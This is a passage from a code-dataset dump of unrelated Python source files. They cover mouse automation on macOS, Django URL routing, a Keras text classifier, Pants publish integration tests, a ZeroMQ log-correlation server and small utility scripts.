kCGEventRightMouseDown:\n code = MouseButtons.BUTTON_RIGHT\n state = True\n elif event_message == kCGEventRightMouseUp:\n code = MouseButtons.BUTTON_RIGHT\n state = False\n elif event_message == kCGEventOtherMouseDown:\n code = MouseButtons.BUTTON_MIDDLE\n state = True\n elif event_message == kCGEventOtherMouseUp:\n code = MouseButtons.BUTTON_MIDDLE\n state = False\n else:\n code = None\n state = False\n \n return (code, state)\n\n\ndef get_event_code(button_code, state):\n \"\"\" Platform specific ! \"\"\"\n \n # Mac only supports Left, Middle and Right buttons\n if button_code not in (1, 2, 3):\n raise ValueError(\"Button not supported\")\n \n \n if state:\n code = pressID[button_code]\n else:\n code = releaseID[button_code]\n \n return code\n\n\n\nclass PyMouse(PyMouseMeta):\n def press(self, x, y, button=1):\n event = CGEventCreateMouseEvent(None, get_event_code(button, True), (x, y), button - 1)\n CGEventPost(kCGHIDEventTap, event)\n\n def release(self, x, y, button=1):\n event = CGEventCreateMouseEvent(None, get_event_code(button, False), (x, y), button - 1)\n CGEventPost(kCGHIDEventTap, event)\n\n def move(self, x, y):\n move = CGEventCreateMouseEvent(None, kCGEventMouseMoved, (x, y), 0)\n CGEventPost(kCGHIDEventTap, move)\n \n\n def position(self):\n loc = NSEvent.mouseLocation()\n return loc.x, CGDisplayPixelsHigh(0) - loc.y\n\n def screen_size(self):\n return CGDisplayPixelsWide(0), CGDisplayPixelsHigh(0)\n\nclass PyMouseEvent(PyMouseEventMeta):\n def run(self):\n tap = CGEventTapCreate(\n kCGSessionEventTap,\n kCGHeadInsertEventTap,\n kCGEventTapOptionDefault,\n CGEventMaskBit(kCGEventMouseMoved) | \n CGEventMaskBit(kCGEventLeftMouseDown) | \n CGEventMaskBit(kCGEventLeftMouseUp) | \n CGEventMaskBit(kCGEventRightMouseDown) | \n CGEventMaskBit(kCGEventRightMouseUp) | \n CGEventMaskBit(kCGEventOtherMouseDown) | \n CGEventMaskBit(kCGEventOtherMouseUp),\n self.handler,\n None)\n\n loopsource = CFMachPortCreateRunLoopSource(None, tap, 0)\n loop = CFRunLoopGetCurrent()\n CFRunLoopAddSource(loop, loopsource, kCFRunLoopDefaultMode)\n CGEventTapEnable(tap, True)\n\n while self.state:\n CFRunLoopRunInMode(kCFRunLoopDefaultMode, 5, False)\n\n def handler(self, proxy, type, event, refcon):\n (x, y) = CGEventGetLocation(event)\n \n (code, state) = get_button_code(type)\n \n if code is not None:\n self.click(x, y, code, state)\n else:\n self.move(x, y)\n \n if self.capture:\n CGEventSetType(event, kCGEventNull)\n\n return event\n","sub_path":"pymouse/mac.py","file_name":"mac.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"578497800","text":"import pandas as pd\nimport numpy as np\nimport math\n\nINI_CASH = 10000\nRUIN = 9000\nRISK = 0.03\n\n# Q(n) = log_e q(n)\ndef q(n):\n if n > 0 :\n return q(n-k)**(1/p) / q(n-(1+k))**(1-p/p)\n else:\n return 1\n\nrec = pd.read_csv('won_lost.csv', names = ('won average', 'lost average', 'won number', 'lost number'))\n\nk = -rec['won average'][0] / rec['lost average'][0]\np = rec['won number'][0] / (rec['won number'][0] + rec['lost number'][0])\n\nu = math.floor((np.log(INI_CASH) - np.log(RUIN)) / abs(np.log( 1-RISK )))\nunit = u / 1.0\n\nprint(q(unit))\nprint(math.log(q(unit)))\n\ndef fact(n):\n if n>0:\n return n * fact(n-1)\n else:\n return 1\n\n# print(fact(3.99))","sub_path":"ruin_prob.py","file_name":"ruin_prob.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"226526176","text":"# Function goes here\n\n\n# reads lines of text and splits at end of each line\ndef make_list(file_name):\n file_name = file_name # add .txt to names to make it easier to call the function\n list_name = open(file_name).read().splitlines()\n return list_name\n\n\n# Main routine goes here\nall_rain = make_list(\"rainfall_data.txt\")\n\nprint(all_rain)\n","sub_path":"01_get_data.py","file_name":"01_get_data.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"18101180","text":"import sys\nimport os\nfrom datetime import datetime\n\nimport alabaster\n\nsys.path.append(os.path.abspath('..'))\n\nfrom setup import VERSION\n\n###########################################\n### MONKEY PATCH FOR NONLOCAL IMAGE URI ###\nimport sphinx.environment\nfrom docutils.utils import get_source_line\n\ndef _warn_node(self, msg, node):\n if not msg.startswith('nonlocal image URI found:'):\n self._warnfunc(msg, '%s:%s' % get_source_line(node))\n\nsphinx.environment.BuildEnvironment.warn_node = _warn_node\n### END MONKEY PATCH ###\n########################\n\n# Regular settings\nmaster_doc = 'index'\nproject = '{{cookiecutter.repo_name|capitalize}}'\nyear = datetime.now().year\ncopyright = '{0}, {{cookiecutter.full_name}}'.format(year)\nauthor = '{{cookiecutter.full_name}}'\nversion = VERSION\nrelease = VERSION\ntemplates_path = ['_templates']\nexclude_trees = ['_build']\nexclude_patterns = []\nsource_suffix = '.rst'\npygments_style = 'sphinx'\n\n# Extension Settings\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.todo',\n 'sphinx.ext.intersphinx',\n 'sphinx.ext.coverage',\n 'sphinx.ext.viewcode',\n 'alabaster',\n 'releases'\n]\nintersphinx_mapping = {\n 'http://docs.python.org/': None,\n 'http://flask.pocoo.org/docs/0.10/': None,\n 'http://werkzeug.pocoo.org/docs/0.11/': None,\n}\nautodoc_default_flags = ['members', 'special-members']\ntodo_include_todos = True\n\n# Releases settings\nreleases_issue_uri = None\nreleases_release_uri = None\n\n# Themeing\nhtml_theme = 'alabaster'\nhtml_theme_path = [alabaster.get_path()]\nhtmlhelp_basename = '{{cookiecutter.repo_name}}doc'\nhtml_theme_options = {\n 'github_button': False,\n}\nhtml_sidebars = {\n '**': [\n 'about.html',\n 'navigation.html',\n 'relations.html',\n 'searchbox.html',\n ]\n}\n","sub_path":"{{cookiecutter.repo_name}}/docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"344886514","text":"\nfrom django.conf.urls import patterns, include, url\nfrom todoapp import views\nfrom django.contrib import admin\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'mysite.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n url(r'^page1$', views.page1,name=\"good\"),\n url(r'^todoapp$', views.index,name=\"index\"),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^tasks/newtask/(?P[0-9]+)$', views.new_task,name=\"newtask\"),\n url(r'^tasks/create/(?P[0-9]+)$', views.save_task,name=\"createtasks\"),\n url(r'^tasks/(?P[0-9]+)$', views.tasks,name=\"tasks\"),\n url(r'^users/create/(?P[A-za-z]+)$', views.create_user,name=\"createtasks\"),\n url(r'^authenticate$', views.authenticate_user,name=\"authenticateusers\"),\n)\n","sub_path":"src/to_do_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"249564563","text":"# coding=utf-8\n# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n unicode_literals, with_statement)\n\nimport os\nimport re\n\nfrom pants.base.build_environment import get_buildroot\nfrom pants.util.contextutil import open_zip, temporary_dir\nfrom pants.util.dirutil import safe_rmtree\nfrom pants_test.pants_run_integration_test import PantsRunIntegrationTest\n\n\ndef shared_artifacts(version, extra_jar=None):\n published_file_list = ['ivy-{0}.xml'.format(version),\n 'hello-greet-{0}.jar'.format(version),\n 'hello-greet-{0}.pom'.format(version),\n 'hello-greet-{0}-sources.jar'.format(version)]\n if extra_jar:\n published_file_list.append(extra_jar)\n return {'org/pantsbuild/testproject/publish/hello-greet/{0}'.format(version): published_file_list}\n\n\n# TODO: Right now some options are set via config and some via cmd-line flags. Normalize this?\ndef publish_extra_config(unique_config):\n return {\n 'GLOBAL': {\n # Turn off --verify-config as some scopes in pants.ini will not be\n # recognized due to the select few backend packages.\n 'verify_config': False,\n 'pythonpath': [\n 'examples/src/python',\n 'pants-plugins/src/python',\n ],\n 'backend_packages': [\n 'example.pants_publish_plugin',\n 'internal_backend.repositories',\n 'pants.backend.codegen',\n 'pants.backend.jvm',\n ],\n },\n 'publish.jar': {\n 'publish_extras': {\n 'extra_test_jar_example': unique_config,\n },\n },\n }\n\n\nclass JarPublishIntegrationTest(PantsRunIntegrationTest):\n GOLDEN_DATA_DIR = 'tests/python/pants_test/tasks/jar_publish_resources/'\n\n # This is where all pushdb properties files will end up.\n @property\n def pushdb_root(self):\n return os.path.join(get_buildroot(), 'testprojects', 'ivy', 'pushdb')\n\n def setUp(self):\n # This attribute is required to see the full diff between ivy and pom files.\n self.maxDiff = None\n safe_rmtree(self.pushdb_root)\n\n def tearDown(self):\n safe_rmtree(self.pushdb_root)\n\n def test_scala_publish(self):\n unique_artifacts = {'org/pantsbuild/testproject/publish/jvm-example-lib_2.11/0.0.1-SNAPSHOT':\n ['ivy-0.0.1-SNAPSHOT.xml',\n 'jvm-example-lib_2.11-0.0.1-SNAPSHOT.jar',\n 'jvm-example-lib_2.11-0.0.1-SNAPSHOT.pom',\n 'jvm-example-lib_2.11-0.0.1-SNAPSHOT-sources.jar'],\n 'org/pantsbuild/testproject/publish/hello/welcome_2.11/0.0.1-SNAPSHOT':\n ['ivy-0.0.1-SNAPSHOT.xml',\n 'welcome_2.11-0.0.1-SNAPSHOT.jar',\n 'welcome_2.11-0.0.1-SNAPSHOT.pom',\n 'welcome_2.11-0.0.1-SNAPSHOT-sources.jar']}\n self.publish_test('testprojects/src/scala/org/pantsbuild/testproject/publish'\n ':jvm-run-example-lib',\n dict(unique_artifacts.items() + shared_artifacts('0.0.1-SNAPSHOT').items()),\n ['org.pantsbuild.testproject.publish/hello-greet/publish.properties',\n 'org.pantsbuild.testproject.publish/jvm-example-lib_2.11/publish.properties',\n 'org.pantsbuild.testproject.publish.hello/welcome_2.11/publish.properties'],\n extra_options=['--doc-scaladoc-skip'],\n assert_publish_config_contents=True)\n\n def test_java_publish(self):\n self.publish_test('testprojects/src/java/org/pantsbuild/testproject/publish/hello/greet',\n shared_artifacts('0.0.1-SNAPSHOT'),\n ['org.pantsbuild.testproject.publish/hello-greet/publish.properties'],)\n\n def test_protobuf_publish(self):\n unique_artifacts = {'org/pantsbuild/testproject/publish/protobuf/protobuf-java/0.0.1-SNAPSHOT':\n ['ivy-0.0.1-SNAPSHOT.xml',\n 'protobuf-java-0.0.1-SNAPSHOT.jar',\n 'protobuf-java-0.0.1-SNAPSHOT.pom',\n 'protobuf-java-0.0.1-SNAPSHOT-sources.jar'],\n 'org/pantsbuild/testproject/protobuf/distance/0.0.1-SNAPSHOT/':\n ['ivy-0.0.1-SNAPSHOT.xml',\n 'distance-0.0.1-SNAPSHOT.jar',\n 'distance-0.0.1-SNAPSHOT.pom',\n 'distance-0.0.1-SNAPSHOT-sources.jar']}\n self.publish_test('testprojects/src/java/org/pantsbuild/testproject/publish/protobuf'\n ':protobuf-java',\n unique_artifacts,\n ['org.pantsbuild.testproject.publish.protobuf/protobuf-java/'\n 'publish.properties',\n 'org.pantsbuild.testproject.protobuf/distance/publish.properties'],\n extra_options=['--doc-javadoc-skip'])\n\n def test_named_snapshot(self):\n name = \"abcdef0123456789\"\n self.publish_test('testprojects/src/java/org/pantsbuild/testproject/publish/hello/greet',\n shared_artifacts(name),\n ['org.pantsbuild.testproject.publish/hello-greet/publish.properties'],\n extra_options=['--named-snapshot={}'.format(name)])\n\n def test_publish_override_flag_succeeds(self):\n override = \"com.twitter.foo#baz=0.1.0\"\n self.publish_test('testprojects/src/java/org/pantsbuild/testproject/publish/hello/greet',\n shared_artifacts('0.0.1-SNAPSHOT'),\n ['org.pantsbuild.testproject.publish/hello-greet/publish.properties'],\n extra_options=['--override={}'.format(override)])\n\n # Collect all the common factors for running a publish_extras test, and execute the test.\n def publish_extras_runner(self, extra_config=None, artifact_name=None, success_expected=True):\n self.publish_test('testprojects/src/java/org/pantsbuild/testproject/publish/hello/greet',\n shared_artifacts('0.0.1-SNAPSHOT', artifact_name),\n ['org.pantsbuild.testproject.publish/hello-greet/publish.properties'],\n extra_options=['--doc-javadoc-skip'],\n extra_config=extra_config,\n success_expected=success_expected)\n #\n # Run through all the permutations of the config parameters for publish_extras.\n #\n\n def test_publish_extras_name_classifier(self):\n self.publish_extras_runner(extra_config=publish_extra_config({\n 'override_name': '{target_provides_name}-extra_example',\n 'classifier': 'classy',\n }),\n artifact_name='hello-greet-extra_example-0.0.1-SNAPSHOT-classy.jar')\n\n def test_publish_extras_name(self):\n self.publish_extras_runner(extra_config=publish_extra_config({\n 'override_name': '{target_provides_name}-extra_example',\n }),\n artifact_name='hello-greet-extra_example-0.0.1-SNAPSHOT.jar')\n\n def test_publish_extras_name_extension(self):\n self.publish_extras_runner(extra_config=publish_extra_config({\n 'override_name': '{target_provides_name}-extra_example',\n 'extension': 'zip'\n }),\n artifact_name='hello-greet-extra_example-0.0.1-SNAPSHOT.zip')\n\n def test_publish_extras_extension(self):\n self.publish_extras_runner(extra_config=publish_extra_config({\n 'extension': 'zip'\n }),\n artifact_name='hello-greet-0.0.1-SNAPSHOT.zip')\n\n def test_publish_extras_extension_classifier(self):\n self.publish_extras_runner(extra_config=publish_extra_config({\n 'classifier': 'classy',\n 'extension': 'zip'\n }),\n artifact_name='hello-greet-0.0.1-SNAPSHOT-classy.zip')\n\n def test_publish_extras_classifier(self):\n self.publish_extras_runner(extra_config=publish_extra_config({\n 'classifier': 'classy',\n }),\n artifact_name='hello-greet-0.0.1-SNAPSHOT-classy.jar')\n\n # This test doesn't specify a proper set of parameters that uniquely name the extra artifact, and\n # should fail with an error from pants.\n def test_publish_extras_invalid_args(self):\n self.publish_extras_runner(extra_config=publish_extra_config({\n 'extension': 'jar',\n }),\n artifact_name='hello-greet-0.0.1-SNAPSHOT.jar',\n success_expected=False)\n\n def test_scala_publish_classifiers(self):\n self.publish_test('testprojects/src/scala/org/pantsbuild/testproject/publish/classifiers',\n dict({\n 'org/pantsbuild/testproject/publish/classifiers_2.11/0.0.1-SNAPSHOT': [\n 'classifiers_2.11-0.0.1-SNAPSHOT.pom',\n 'ivy-0.0.1-SNAPSHOT.xml',\n ]}),\n [],\n assert_publish_config_contents=True)\n\n def test_override_via_coord(self):\n self.publish_test(\n target='testprojects/src/scala/org/pantsbuild/testproject/publish/classifiers',\n artifacts=dict({'org/pantsbuild/testproject/publish/classifiers_2.11/1.2.3-SNAPSHOT': [\n 'classifiers_2.11-1.2.3-SNAPSHOT.pom',\n 'ivy-1.2.3-SNAPSHOT.xml',\n ]}),\n pushdb_files=[],\n extra_options=['--override=org.pantsbuild.testproject.publish#classifiers_2.11=1.2.3'],\n assert_publish_config_contents=True)\n\n def test_override_via_address(self):\n target = 'testprojects/src/scala/org/pantsbuild/testproject/publish/classifiers'\n self.publish_test(\n target=target,\n artifacts=dict({'org/pantsbuild/testproject/publish/classifiers_2.11/1.2.3-SNAPSHOT': [\n 'classifiers_2.11-1.2.3-SNAPSHOT.pom',\n 'ivy-1.2.3-SNAPSHOT.xml',\n ]}),\n pushdb_files=[],\n extra_options=['--override={}=1.2.3'.format(target)],\n assert_publish_config_contents=True)\n\n def test_invalidate_resources(self):\n \"\"\"Tests that resource changes invalidate publishes.\"\"\"\n source_root = 'testprojects/src/java'\n target_relative_to_sourceroot = 'org/pantsbuild/testproject/publish/hello/greet'\n target = os.path.join(source_root, target_relative_to_sourceroot)\n resource_relative_to_sourceroot = os.path.join(target_relative_to_sourceroot, 'TEMP.txt')\n resource = os.path.join(source_root, resource_relative_to_sourceroot)\n\n with self.temporary_workdir() as workdir:\n def publish(resource_content):\n with temporary_dir() as publish_dir:\n with self.temporary_file_content(resource, resource_content):\n # Validate that the target depends on the relevant resource.\n self.assertIn(resource, self.run_pants(['filedeps', target]).stdout_data)\n\n pants_run = self.run_pants_with_workdir(['publish.jar',\n '--local={}'.format(publish_dir),\n '--named-snapshot=X',\n '--no-dryrun',\n target\n ],\n workdir=workdir)\n self.assert_success(pants_run)\n # Validate that the content in the resulting jar matches.\n jar = os.path.join(publish_dir,\n 'org/pantsbuild/testproject/publish/hello-greet/X/hello-greet-X.jar')\n with open_zip(jar, mode='r') as j:\n with j.open(resource_relative_to_sourceroot) as jar_entry:\n self.assertEquals(resource_content, jar_entry.read())\n\n # Publish the same target twice with different resource content.\n publish('one')\n publish('two')\n\n def publish_test(self, target, artifacts, pushdb_files, extra_options=None, extra_config=None,\n extra_env=None, success_expected=True, assert_publish_config_contents=False):\n \"\"\"Tests that publishing the given target results in the expected output.\n\n :param target: Target to test.\n :param artifacts: A map from directories to a list of expected filenames.\n :param pushdb_files: list of pushdb files that would be created if this weren't a local publish\n :param extra_options: Extra command-line options to the pants run.\n :param extra_config: Extra pants.ini configuration for the pants run.\n :param extra_env: Extra environment variables for the pants run.\n :param assert_publish_config_contents: Test the contents of the generated ivy and pom file.\n If set to True, compares the generated ivy.xml and pom files in\n tests/python/pants_test/tasks/jar_publish_resources///\n \"\"\"\n\n with temporary_dir() as publish_dir:\n options = ['--local={}'.format(publish_dir),\n '--no-dryrun',\n '--force']\n if extra_options:\n options.extend(extra_options)\n\n pants_run = self.run_pants(['publish.jar'] + options + [target], config=extra_config,\n extra_env=extra_env)\n if success_expected:\n self.assert_success(pants_run, \"'pants goal publish' expected success, but failed instead.\")\n else:\n self.assert_failure(pants_run,\n \"'pants goal publish' expected failure, but succeeded instead.\")\n return\n\n # New pushdb directory should be created for all artifacts.\n for pushdb_file in pushdb_files:\n pushdb_dir = os.path.dirname(os.path.join(self.pushdb_root, pushdb_file))\n self.assertTrue(os.path.exists(pushdb_dir))\n\n # But because we are doing local publishes, no pushdb files are created\n for pushdb_file in pushdb_files:\n self.assertFalse(os.path.exists(os.path.join(self.pushdb_root, pushdb_file)))\n\n for directory, artifact_list in artifacts.items():\n for artifact in artifact_list:\n artifact_path = os.path.join(publish_dir, directory, artifact)\n self.assertTrue(os.path.exists(artifact_path))\n if assert_publish_config_contents:\n if artifact.endswith('xml') or artifact.endswith('pom'):\n self.compare_file_contents(artifact_path, directory)\n\n def compare_file_contents(self, artifact_path, directory):\n \"\"\"\n Tests the ivy.xml and pom\n :param artifact_path: Path of the artifact\n :param directory: Directory where the artifact resides.\n :return:\n \"\"\"\n # Strip away the version number\n [package_dir, artifact_name, version] = directory.rsplit(os.path.sep, 2)\n file_name = os.path.basename(artifact_path)\n golden_file_nm = os.path.join(JarPublishIntegrationTest.GOLDEN_DATA_DIR,\n package_dir.replace(os.path.sep, '.'), artifact_name, file_name)\n with open(artifact_path, 'r') as test_file:\n generated_file = test_file.read()\n with open(golden_file_nm, 'r') as golden_file:\n golden_file_contents = golden_file.read()\n # Remove the publication sha attribute from ivy.xml\n if artifact_path.endswith('.xml'):\n generated_file = re.sub(r'publication=.*', '/>', generated_file)\n return self.assertMultiLineEqual(generated_file, golden_file_contents)\n","sub_path":"tests/python/pants_test/backend/jvm/tasks/test_jar_publish_integration.py","file_name":"test_jar_publish_integration.py","file_ext":"py","file_size_in_byte":15913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"344817588","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nclass Solution(object):\n def jump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n #if len(nums) == 1: return 0\n maxlen,end,step = 0,0,0\n n = len(nums)\n for i in range(n-1):\n if i <= maxlen:\n maxlen = max(maxlen, i+nums[i])\n if i == end:\n step += 1\n end = maxlen\n return step\n\n","sub_path":"Week_04/#45 跳跃游戏2.py","file_name":"#45 跳��游戏2.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"468065606","text":"from minimax import find_best_move\nfrom connectfour import C4Board\nfrom board import Move, Board\nfrom time import sleep\nfrom typing import Tuple\n\nboard: Board = C4Board()\n\n\ndef computer_play(board: Board, search_depth: int = 5) -> Tuple[bool, Board]:\n end_of_game: bool = False\n\n computer_move: Move = find_best_move(board, search_depth)\n print(f\"Computer move is {computer_move}\")\n board = board.move(computer_move)\n print(board)\n if board.is_win:\n print(f\"{board.turn.opposite} wins!\")\n end_of_game = True\n elif board.is_draw:\n print(\"Draw!\")\n end_of_game = True\n return end_of_game, board\n\n\nif __name__ == \"__main__\":\n # main game loop\n end_of_game: bool = False\n while True:\n end_of_game, board = computer_play(board, 4)\n if end_of_game:\n break\n end_of_game, board = computer_play(board, 4)\n if end_of_game:\n break\n # sleep(2)\n","sub_path":"Chapter8/connectfour_autoplay.py","file_name":"connectfour_autoplay.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"587710675","text":"\"\"\"ProjectsApp URL Configuration\n\nCreated by Harris Christiansen on 10/02/16.\n\"\"\"\nfrom django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^project/all$', views.getProjects, name='Projects'),\n url(r'^project$', views.getProject, name='Project'),\n url(r'^project/form$', views.getProjectForm, name=\"Project Form\"),\n url(r'^project/getMyProjects$', views.getMyProjects, name=\"GetMyProjects\"),\n url(r'^project/formsuccess$', views.getProjectFormSuccess, name=\"Project Form Success\"),\n url(r'^project/mybookmarks$', views.getBookmarks, name=\"My Bookmarks\"),\n url(r'^project/addbookmark$', views.addBookmark, name=\"Add Bookmark\"),\n url(r'^project/bookmarksuccess$', views.getProjectFormSuccess, name=\"Project Form Success\"),\n url(r'^project/removebookmark$', views.removeBookmark, name=\"Remove Bookmark\"),\n url(r'^project/ditchProject$', views.ditchProject, name=\"ditchProject\"),\n url(r'^project/takeProject$', views.takeProject, name=\"takeProject\"),\n url(r'^project/updateprogress$', views.updateProgress, name=\"Update Progress\"),\n]","sub_path":"ProjectsApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"418162063","text":"from __future__ import print_function\nfrom __future__ import absolute_import\n\nimport os\nimport sys\nimport logging\nimport math\n\nimport cPickle\nimport numpy as np\n\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten, Merge\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers.convolutional import Convolution1D, MaxPooling1D\nfrom keras.layers.recurrent import LSTM, GRU\nfrom keras.optimizers import SGD, Adadelta\nfrom keras.regularizers import l2\nfrom keras.layers.advanced_activations import PReLU\nfrom keras.preprocessing import sequence\n\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import f1_score\n\npickle_file = os.path.join('pickle', 'detect_HSK_split.pickle')\n\nbatch_size = 50\nmaxlen = 60\n\nhidden_dim = 120\n\nkernel_size = 3\nnb_filter = 120\nnb_epoch = 10\n\ndef get_idx_from_sent(sent, word_idx_map):\n \"\"\"\n Transforms sentence into a list of indices. Pad with zeroes.\n \"\"\"\n x = []\n words = sent.split()\n for word in words:\n if word in word_idx_map:\n x.append(word_idx_map[word])\n\n return x\n\ndef make_idx_data(revs, word_idx_map):\n \"\"\"\n Transforms sentences into a 2-d matrix.\n \"\"\"\n X_train, X_test, y_train, y_test = [], [], [], []\n for rev in revs:\n sent = get_idx_from_sent(rev['text'], word_idx_map)\n y = rev['label']\n\n if rev['split'] == 1:\n X_train.append(sent)\n y_train.append(y)\n elif rev['split'] == 0:\n X_test.append(sent)\n y_test.append(y)\n\n X_train = sequence.pad_sequences(np.array(X_train), maxlen=maxlen)\n X_test = sequence.pad_sequences(np.array(X_test), maxlen=maxlen)\n\n return [X_train, X_test, y_train, y_test]\n\n\nif __name__ == '__main__':\n program = os.path.basename(sys.argv[0])\n logger = logging.getLogger(program)\n \n logging.basicConfig(format='%(asctime)s: %(levelname)s: %(message)s')\n logging.root.setLevel(level=logging.INFO)\n logger.info(r\"running %s\" % ''.join(sys.argv))\n\n logging.info('loading data...')\n revs, W, word_idx_map, vocab = cPickle.load(open(pickle_file, 'rb'))\n logging.info('data loaded!')\n\n X_train, X_test, y_train, y_test = make_idx_data(revs, word_idx_map)\n logging.info('X_train shape:' + str(X_train.shape))\n logging.info('X_test shape:' + str(X_test.shape))\n\n len_sentence = X_train.shape[1] # 200\n logging.info(\"len_sentence [len_sentence]: %d\" % len_sentence)\n\n max_features = W.shape[0]\n logging.info(\"max features of word vector [max_features]: %d\" % max_features)\n\n num_features = W.shape[1] # 400\n logging.info(\"dimension num of word vector [num_features]: %d\" % num_features)\n\n # Keras Model\n model = Sequential()\n # Embedding layer (lookup table of trainable word vectors)\n model.add(Embedding(input_dim=max_features, output_dim=num_features, input_length=maxlen, weights=[W], trainable=False))\n model.add(Dropout(0.25))\n model.add(Convolution1D(nb_filter=nb_filter,\n filter_length=kernel_size,\n border_mode='valid',\n activation='relu',\n subsample_length=1\n ))\n model.add(MaxPooling1D(pool_length=2))\n\n # lstm layer:\n model.add(LSTM(hidden_dim))\n\n # We project onto a single unit output layer, and squash it with a sigmoid:\n model.add(Dense(1))\n model.add(Activation('sigmoid'))\n\n model.compile(loss='binary_crossentropy', optimizer='sgd')\n model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch)\n\n y_pred = model.predict(X_test, batch_size=batch_size).flatten()\n for i in range(len(y_pred)):\n if y_pred[i] >= 0.5:\n y_pred[i] = 1\n else:\n y_pred[i] = 0\n\n precision = precision_score(y_test, y_pred, average='binary')\n recall = recall_score(y_test, y_pred, average='binary')\n f1 = f1_score(y_test, y_pred, average='binary')\n accuracy = accuracy_score(y_test, y_pred)\n\n logging.info('precision score: %.3f' % (precision))\n logging.info('recal score: %.3f' % (recall))\n logging.info('f1 score: %.3f' % (f1))\n logging.info('accuracy score: %.3f' % (accuracy))","sub_path":"detect_split_cnnlstm.py","file_name":"detect_split_cnnlstm.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"624718060","text":"import meniscus.api.correlation.correlation_exceptions as errors\nimport simplejson as json\n\nfrom portal.input.zmq_in import ZeroMQReciever\n\nfrom oslo.config import cfg\n\nfrom meniscus import env\nfrom meniscus.storage import dispatch\nfrom meniscus.api.correlation import correlator\n\nfrom meniscus.normalization.normalizer import *\n\n# ZMQ configuration options\n_CONF = cfg.CONF\n\n_ZMQ_GROUP = cfg.OptGroup(\n name='zmq_in', title='ZeroMQ Input Options')\n\n_CONF.register_group(_ZMQ_GROUP)\n\n_ZMQ_OPTS = [\n cfg.ListOpt('zmq_downstream_hosts',\n help='list of downstream host:port pairs to poll for '\n 'zmq messages')\n]\n\n_CONF.register_opts(_ZMQ_OPTS)\n\n_LOG = env.get_logger(__name__)\n\n\ndef new_zqm_input_server(conf):\n downstream_hosts = list()\n for host_port_str in conf.zmq_in.zmq_downstream_hosts:\n downstream_hosts.append(host_port_str.split(':'))\n\n return ZeroMQInputServer(ZeroMQReciever(downstream_hosts))\n\n\nclass ZeroMQInputServer(object):\n\n def __init__(self, zmq_reciever):\n self.zmq_sock = zmq_reciever\n\n def stop(self):\n self._stop = True\n\n def start(self):\n read = 0\n msg = ''\n\n self._stop = False\n\n while not self._stop:\n self.process_msg()\n\n def process_msg(self):\n msg = self.get_msg()\n print(msg)\n cee_message = _correlate_src_message(msg)\n\n try:\n if should_normalize(cee_message):\n # send the message to normalization then to\n # the data dispatch\n normalize_message.apply_async(\n (cee_message,),\n link=dispatch.persist_message.subtask())\n else:\n dispatch.persist_message(cee_message)\n except Exception as ex:\n _LOG.exception('unable to place persist_message '\n 'task on queue')\n\n def get_msg(self):\n msg_dict = None\n\n try:\n msg = self.zmq_sock.get()\n return json.loads(msg)\n except Exception as ex:\n _LOG.exception(ex)\n\n\ndef _correlate_src_message(src_message):\n #remove meniscus tenant id and message token\n # from the syslog structured data\n try:\n tenant_data = src_message['sd'].pop('meniscus')\n tenant_id = tenant_data['tenant']\n message_token = tenant_data['token']\n\n #if there is a key error then the syslog message did\n #not contain necessary credential information\n except KeyError:\n message = 'tenant_id or message token not provided'\n _LOG.debug('Message validation failed: {0}'.format(message))\n raise errors.MessageValidationError(message)\n\n #validate the tenant and the message token\n tenant_identification = correlator.TenantIdentification(\n tenant_id, message_token)\n tenant = tenant_identification.get_validated_tenant()\n\n cee_message = _convert_message_cee(src_message)\n correlator.add_correlation_info_to_message(tenant, cee_message)\n\n return cee_message\n\n\ndef _convert_message_cee(src_message):\n cee_message = dict()\n\n cee_message['time'] = src_message['timestamp']\n cee_message['host'] = src_message['hostname']\n cee_message['pname'] = src_message['appname']\n cee_message['pri'] = src_message['priority']\n cee_message['ver'] = src_message['version']\n cee_message['pid'] = src_message['processid']\n cee_message['msgid'] = src_message['messageid']\n cee_message['msg'] = src_message['message']\n\n cee_message['native'] = src_message['sd']\n\n return cee_message\n","sub_path":"meniscus/api/correlation/zmq.py","file_name":"zmq.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"171554166","text":"import matplotlib.pyplot as 